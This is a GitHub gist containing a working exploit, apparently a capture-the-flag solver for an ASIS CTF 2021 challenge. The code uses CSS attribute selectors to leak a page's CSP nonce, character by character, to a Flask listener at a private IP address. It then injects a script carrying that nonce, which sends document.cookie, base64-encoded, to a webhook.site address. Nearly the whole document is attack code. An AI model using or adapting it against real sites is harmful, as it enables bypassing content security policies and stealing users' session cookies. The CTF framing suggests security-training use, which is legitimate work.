Skip to content

Instantly share code, notes, and snippets.

@nyxsorcerer
Last active January 9, 2024 19:03
Show Gist options
  • Save nyxsorcerer/9645e1e2a5502fdc9b5fc057c1995a79 to your computer and use it in GitHub Desktop.
Save nyxsorcerer/9645e1e2a5502fdc9b5fc057c1995a79 to your computer and use it in GitHub Desktop.
bypass csp nonces using CSS exifiltration
<script>
// solver based on ASIS CTF 2021 (Lovely nonces)
var nonce = "";
var src = "http://localhost:8000/#";
var chars = "abcdefghijklmnopqrstuvwxyz0123456789";
const sleep = (ms) => {
return new Promise((r) => setTimeout(r, ms));
};
function final() {
console.log(nonce);
src_ =
"http://localhost:8000/#<iframe srcdoc='<script nonce=\"" +
nonce +
'">fetch("https://webhook.site/848fe40d-b2c4-481c-9fd1-b52a59eccf2a/?test="+btoa("asuuu")+"&fetch=" + btoa(document.cookie), {mode:"no-cors"}) <' +
"/script>'></iframe>";
// iframe.src = src;
fetch("http://192.168.43.181:1337/final_functions", { mode: "no-cors" });
window.open(src_, "nyx");
}
const check = async () => {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function () {
if (this.readyState == 4 && this.status == 200) {
if (this.responseText != "") {
nonce = this.responseText;
// iDK, it doesn't work if its in headless, but it will work finely if its in real brwoser
// if (nonce.length == 16) {
// fetch("http://192.168.43.181:1337/nonce_is_16", {
// mode: "no-cors",
// });
// // return;
// final();
// }
}
var src = "http://localhost:8000/#";
var chars = "abcdefghijklmnopqrstuvwxyz0123456789";
src += "<style>script { display: block }";
for (var i = 0; i < 36; i++) {
for (var x = 0; x < 36; x++) {
// for (var y = 0; y < 36; y++) {
src +=
"" +
"script[nonce^='" +
nonce +
chars.charAt(i) +
chars.charAt(x) /*+ chars.charAt(y)*/ +
"']:after{" +
"content: url('http://192.168.43.181:1337/leak?q=" +
chars.charAt(i) +
chars.charAt(x) /*+ chars.charAt(y)*/ +
"')" +
"}" +
"";
// }
}
}
src += "</style>";
// iframe.src = src;
if (nonce.length == 16) {
src =
"http://localhost:8000/#<iframe srcdoc='<script nonce=\"" +
nonce +
'">fetch("https://webhook.site/848fe40d-b2c4-481c-9fd1-b52a59eccf2a/?test="+btoa("asuuu")+"&fetch=" + btoa(document.cookie), {mode:"no-cors"}) <' +
"/script>'></iframe>";
}
window.open(src, "nyx");
console.log(src);
}
};
await sleep(500);
xhttp.open("GET", "http://192.168.43.181:1337/leak", true);
xhttp.send();
// await sleep(500);
};
(async () => {
while (1) {
check();
await sleep(500);
}
})();
</script>
from flask import Flask, request
import requests
NONCE = ""
app = Flask(__name__)
s = requests.Session()
@app.after_request
def add_header(response):
response.headers['Access-Control-Allow-Origin'] = '*'
return response
@app.route("/reset")
def reset():
global NONCE
NONCE = ""
print("[-] Reset NONCE")
return ""
counter_for_idk = 0
@app.route("/leak")
def leak():
global NONCE, counter_for_idk
q = request.args.get('q')
if q is not None:
#
# FOR SOME REASON THE FIRST RIGHT EXIFILTRATION ALWAYS DOUBLE SEND
#
if counter_for_idk == 0:
print("ignore")
counter_for_idk += 1
NONCE += q
print(f"[-] append NONCE {NONCE}")
return NONCE
@app.route("/")
def test():
return "test"
if __name__ == "__main__":
print("[info] running app ...")
app.run(host="0.0.0.0", port=1337)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment